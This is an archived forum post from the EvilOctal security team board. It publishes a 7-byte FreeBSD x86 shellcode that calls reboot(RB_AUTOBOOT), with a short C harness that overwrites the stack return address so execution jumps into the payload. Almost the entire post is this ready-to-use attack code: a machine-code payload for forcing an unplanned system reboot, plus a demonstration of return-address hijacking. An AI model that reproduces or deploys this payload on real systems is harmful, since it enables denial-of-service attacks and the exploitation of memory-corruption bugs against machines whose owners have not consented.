邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-4-23 14:25

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

文章作者:IZ

[code]/*
*
* FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/


char shellcode[] =
"\x31\xc0"            /* xor %eax,%eax */

"\x50"               /* push %eax */
"\xb0\x37"            /* mov $0x37,%al */
"\xcd\x80";            /* int $0x80 */


void main()
{
    int*    ret;      

    ret = (int*) &ret + 2;

    printf("len %d\n",strlen(shellcode));

    (*ret) = (int) shellcode;
}[/code]

页: [1]
© 1999-2008 EvilOctal Security Team